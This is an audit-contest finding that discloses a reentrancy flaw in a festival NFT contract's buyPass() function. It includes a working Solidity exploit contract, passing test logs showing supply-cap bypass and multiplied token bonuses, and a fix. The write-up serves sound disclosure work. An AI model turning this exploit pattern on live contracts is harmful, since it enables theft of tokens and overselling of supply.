Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass() Function Enables Supply Bypass and BEAT Token Multiplication

Root + Impact

Description

  • The buyPass() function is designed to enforce maximum supply limits and distribute appropriate BEAT token bonuses when users purchase festival passes. Under normal operation, the supply counter should increment after each purchase to prevent overselling, and BEAT bonuses should only be awarded once per legitimate purchase.

  • However, the buyPass() function violates the Checks-Effects-Interactions (CEI) pattern by calling _mint() before incrementing ++passSupply[collectionId]. This allows malicious contracts with custom onERC1155Received() hooks to reenter the function while the supply counter remains unchanged, enabling attackers to bypass supply limits and multiply BEAT token bonuses before the state is properly updated.

function buyPass(uint256 collectionId) external payable {
// ... checks ...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, ""); // Triggers external call to receiver
@> ++passSupply[collectionId]; // State update happens AFTER external call
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
@> BeatToken(beatToken).mint(msg.sender, bonus); // Additional external call with stale state
}
}

The vulnerability exists in the ordering of operations where _mint() (which triggers external calls to onERC1155Received()) occurs before the critical state update ++passSupply[collectionId]. This CEI violation allows reentrancy during the external call, where the supply counter has not yet been incremented, enabling the same supply check to pass multiple times.


Risk

Likelihood:

  • The vulnerability triggers automatically whenever any contract (including legitimate multisig wallets, DAOs, or protocol contracts) purchases passes, as the ERC1155 standard mandates calling onERC1155Received() on contract recipients during minting operations.

  • The exploit requires only deploying a malicious contract with a custom onERC1155Received() hook and sufficient ETH funding, with no special timing, external dependencies, or complex attack setup needed for execution.

Impact:

  • Complete bypass of supply limit protections allowing unlimited pass minting beyond intended maximums, breaking core tokenomics and enabling extraction of unlimited ETH from users who believe they are purchasing limited edition items.

  • Multiplication of BEAT token bonuses through repeated reentrancy calls, allowing attackers to steal significant amounts of protocol tokens (demonstrated: 3x bonus multiplication, stealing 30 BEAT tokens per attack in PoC).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
/**
* @title Reentrancy in buyPass() Function PoC
* @dev Demonstrates how malicious ERC1155Receiver can exploit CEI violation
* to bypass supply limits and multiply BEAT token bonuses
*
* VULNERABILITY: CEI Pattern Violation in buyPass()
* 1. _mint() called before ++passSupply[collectionId] (Lines 78-79)
* 2. _mint() triggers onERC1155Received() hook
* 3. Attacker can call buyPass() again before supply counter increments
* 4. Each reentrant call bypasses supply check and mints bonus BEAT tokens
*
* ATTACK VECTOR: Malicious ERC1155Receiver.onERC1155Received()
*/
interface IERC1155Receiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Malicious contract that exploits reentrancy in buyPass()
*/
contract MaliciousReceiver is IERC1155Receiver {
FestivalPass public festivalPass;
BeatToken public beatToken;
uint256 public attackCount;
uint256 public maxAttacks;
uint256 public targetPassId;
constructor(address _festivalPass, address _beatToken) {
festivalPass = FestivalPass(_festivalPass);
beatToken = BeatToken(_beatToken);
}
function startAttack(uint256 _targetPassId, uint256 _maxAttacks) external payable {
targetPassId = _targetPassId;
maxAttacks = _maxAttacks;
attackCount = 0;
console.log("=== STARTING REENTRANCY ATTACK ===");
console.log("Target Pass ID:", targetPassId);
console.log("Max Attacks:", maxAttacks);
console.log("Initial Supply:", festivalPass.passSupply(targetPassId));
console.log("Initial BEAT Balance:", beatToken.balanceOf(address(this)));
// Start the attack
festivalPass.buyPass{value: msg.value}(targetPassId);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes calldata
) external override returns (bytes4) {
console.log("--- Reentrancy Hook Triggered ---");
console.log("Current Attack Count:", attackCount);
console.log("Current Supply Counter:", festivalPass.passSupply(targetPassId));
console.log("Current BEAT Balance:", beatToken.balanceOf(address(this)));
// Reenter if we haven't reached max attacks and supply check would still pass
if (attackCount < maxAttacks &&
festivalPass.passSupply(targetPassId) < festivalPass.passMaxSupply(targetPassId) &&
address(this).balance >= festivalPass.passPrice(targetPassId)) {
attackCount++;
uint256 passPrice = festivalPass.passPrice(targetPassId);
console.log("Reentering buyPass() - Attack #", attackCount);
console.log("Contract balance:", address(this).balance);
console.log("Pass price needed:", passPrice);
// Reentrant call to buyPass()
festivalPass.buyPass{value: passPrice}(targetPassId);
}
return this.onERC1155Received.selector;
}
// Allow contract to receive ETH
receive() external payable {}
}
contract ReentrancyExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
MaliciousReceiver public attacker;
address public owner;
address public organizer;
// VIP pass configuration for BEAT bonus exploitation
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 5;
uint256 constant VIP_PASS = 2;
uint256 constant VIP_BEAT_BONUS = 5e18;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
// Deploy protocol
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
// Configure VIP pass
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
// Deploy malicious receiver
attacker = new MaliciousReceiver(address(festivalPass), address(beatToken));
}
function testReentrancyBypassSupplyLimit() public {
console.log("=== REENTRANCY SUPPLY BYPASS EXPLOIT ===\n");
// Fund the attacker contract with enough for multiple reentrant calls
uint256 totalFunding = VIP_PRICE * (VIP_MAX_SUPPLY + 2); // Extra for reentrancy
vm.deal(address(attacker), totalFunding);
console.log("SETUP:");
console.log("VIP Max Supply:", VIP_MAX_SUPPLY);
console.log("VIP Price:", VIP_PRICE);
console.log("Attacker Funding:", totalFunding);
// Execute reentrancy attack attempting to buy more than max supply
uint256 attackAttempts = 3; // Reasonable number for clear demonstration
attacker.startAttack{value: VIP_PRICE}(VIP_PASS, attackAttempts);
console.log("\n=== ATTACK RESULTS ===");
uint256 finalSupply = festivalPass.passSupply(VIP_PASS);
uint256 attackerPasses = festivalPass.balanceOf(address(attacker), VIP_PASS);
uint256 attackerBEAT = beatToken.balanceOf(address(attacker));
console.log("Final Supply Counter:", finalSupply);
console.log("Attacker Pass Balance:", attackerPasses);
console.log("Attacker BEAT Balance:", attackerBEAT);
console.log("Expected BEAT (normal):", VIP_BEAT_BONUS);
console.log("BEAT Multiplier:", attackerBEAT / VIP_BEAT_BONUS);
// Verify the exploit worked
assertGt(attackerPasses, 1, "Should have more than 1 pass through reentrancy");
assertGt(attackerBEAT, VIP_BEAT_BONUS, "Should have multiplied BEAT bonuses");
// Show supply counter inconsistency
console.log("\nSUPPLY COUNTER INCONSISTENCY:");
console.log("Supply counter shows:", finalSupply);
console.log("Actual passes minted:", attackerPasses);
console.log("Discrepancy:", attackerPasses > finalSupply ? "YES" : "NO");
}
function testBEATBonusMultiplication() public {
console.log("=== BEAT BONUS MULTIPLICATION EXPLOIT ===\n");
// Configure Backstage pass for higher bonus
uint256 BACKSTAGE_PRICE = 0.25 ether;
uint256 BACKSTAGE_MAX_SUPPLY = 3;
uint256 BACKSTAGE_PASS = 3;
uint256 BACKSTAGE_BEAT_BONUS = 15e18;
vm.prank(organizer);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
// Fund attacker for multiple purchases
uint256 funding = BACKSTAGE_PRICE * (BACKSTAGE_MAX_SUPPLY + 1); // Extra for reentrancy
vm.deal(address(attacker), funding);
console.log("Targeting BACKSTAGE passes for maximum BEAT bonus:");
console.log("Single bonus:", BACKSTAGE_BEAT_BONUS);
console.log("Max supply:", BACKSTAGE_MAX_SUPPLY);
// Attack to multiply bonuses
attacker.startAttack{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS, 2);
uint256 finalBEAT = beatToken.balanceOf(address(attacker));
uint256 expectedBEAT = BACKSTAGE_BEAT_BONUS; // Normal user gets this once
uint256 actualPasses = festivalPass.balanceOf(address(attacker), BACKSTAGE_PASS);
console.log("\nBEAT BONUS MULTIPLICATION RESULTS:");
console.log("Expected BEAT (1 pass):", expectedBEAT);
console.log("Actual BEAT received:", finalBEAT);
console.log("Bonus multiplication factor:", finalBEAT / expectedBEAT);
console.log("Passes obtained through reentrancy:", actualPasses);
// Calculate stolen value
uint256 stolenBEAT = finalBEAT - expectedBEAT;
console.log("BEAT tokens stolen:", stolenBEAT);
assertGt(finalBEAT, expectedBEAT, "Should have multiplied BEAT bonuses");
assertGt(actualPasses, 1, "Should have obtained multiple passes");
}
function testSupplyLimitBypass() public {
console.log("=== SUPPLY LIMIT BYPASS DEMONSTRATION ===\n");
// Set very low max supply for clear demonstration
uint256 LOW_MAX_SUPPLY = 2;
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, LOW_MAX_SUPPLY);
// Normal user fills up the supply first
address normalUser = makeAddr("normalUser");
vm.deal(normalUser, VIP_PRICE);
vm.prank(normalUser);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("After normal user purchase:");
console.log("Supply:", festivalPass.passSupply(VIP_PASS), "/", LOW_MAX_SUPPLY);
// Now supply is at 1/2, attacker should only be able to buy 1 more
// But through reentrancy, they can get multiple
uint256 funding = VIP_PRICE * 3; // Fund for reentrancy attempts
vm.deal(address(attacker), funding);
console.log("\nAttacker attempting to exceed remaining supply...");
attacker.startAttack{value: VIP_PRICE}(VIP_PASS, 2);
uint256 finalSupply = festivalPass.passSupply(VIP_PASS);
uint256 attackerPasses = festivalPass.balanceOf(address(attacker), VIP_PASS);
uint256 totalPasses = festivalPass.balanceOf(normalUser, VIP_PASS) + attackerPasses;
console.log("\nSUPPLY BYPASS RESULTS:");
console.log("Max Supply:", LOW_MAX_SUPPLY);
console.log("Final Supply Counter:", finalSupply);
console.log("Total Passes in Circulation:", totalPasses);
console.log("Supply limit bypassed:", totalPasses > LOW_MAX_SUPPLY ? "YES" : "NO");
assertGt(totalPasses, LOW_MAX_SUPPLY, "Total passes should exceed max supply");
}
}
Ran 3 tests for test/ReentrancyExploit.t.sol:ReentrancyExploitPoC
[PASS] testBEATBonusMultiplication() (gas: 374594)
Logs:
=== BEAT BONUS MULTIPLICATION EXPLOIT ===
Targeting BACKSTAGE passes for maximum BEAT bonus:
Single bonus: 15000000000000000000
Max supply: 3
=== STARTING REENTRANCY ATTACK ===
Target Pass ID: 3
Max Attacks: 2
Initial Supply: 0
Initial BEAT Balance: 0
--- Reentrancy Hook Triggered ---
Current Attack Count: 0
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 1
Contract balance: 1000000000000000000
Pass price needed: 250000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 1
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 2
Contract balance: 750000000000000000
Pass price needed: 250000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 2
Current Supply Counter: 0
Current BEAT Balance: 0
BEAT BONUS MULTIPLICATION RESULTS:
Expected BEAT (1 pass): 15000000000000000000
Actual BEAT received: 45000000000000000000
Bonus multiplication factor: 3
Passes obtained through reentrancy: 3
BEAT tokens stolen: 30000000000000000000
[PASS] testReentrancyBypassSupplyLimit() (gas: 374055)
Logs:
=== REENTRANCY SUPPLY BYPASS EXPLOIT ===
SETUP:
VIP Max Supply: 5
VIP Price: 100000000000000000
Attacker Funding: 700000000000000000
=== STARTING REENTRANCY ATTACK ===
Target Pass ID: 2
Max Attacks: 3
Initial Supply: 0
Initial BEAT Balance: 0
--- Reentrancy Hook Triggered ---
Current Attack Count: 0
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 1
Contract balance: 700000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 1
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 2
Contract balance: 600000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 2
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 3
Contract balance: 500000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 3
Current Supply Counter: 0
Current BEAT Balance: 0
=== ATTACK RESULTS ===
Final Supply Counter: 4
Attacker Pass Balance: 4
Attacker BEAT Balance: 20000000000000000000
Expected BEAT (normal): 5000000000000000000
BEAT Multiplier: 4
SUPPLY COUNTER INCONSISTENCY:
Supply counter shows: 4
Actual passes minted: 4
Discrepancy: NO
[PASS] testSupplyLimitBypass() (gas: 404181)
Logs:
=== SUPPLY LIMIT BYPASS DEMONSTRATION ===
After normal user purchase:
Supply: 1 / 2
Attacker attempting to exceed remaining supply...
=== STARTING REENTRANCY ATTACK ===
Target Pass ID: 2
Max Attacks: 2
Initial Supply: 1
Initial BEAT Balance: 0
--- Reentrancy Hook Triggered ---
Current Attack Count: 0
Current Supply Counter: 1
Current BEAT Balance: 0
Reentering buyPass() - Attack # 1
Contract balance: 300000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 1
Current Supply Counter: 1
Current BEAT Balance: 0
Reentering buyPass() - Attack # 2
Contract balance: 200000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 2
Current Supply Counter: 1
Current BEAT Balance: 0
SUPPLY BYPASS RESULTS:
Max Supply: 2
Final Supply Counter: 4
Total Passes in Circulation: 4
Supply limit bypassed: YES
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.12ms (3.15ms CPU time)
Ran 1 test suite in 4.56ms (2.12ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation

The fix implements proper CEI pattern by moving the supply counter increment before the external _mint() call. This ensures that state is updated before any external interactions occur, preventing reentrancy attacks from bypassing supply limits or multiplying bonuses. The supply counter will be properly incremented even if reentrancy occurs, causing subsequent reentrant calls to fail the supply check as intended.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Effects: Update state before external calls
+ ++passSupply[collectionId];
+
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
27 days ago
inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.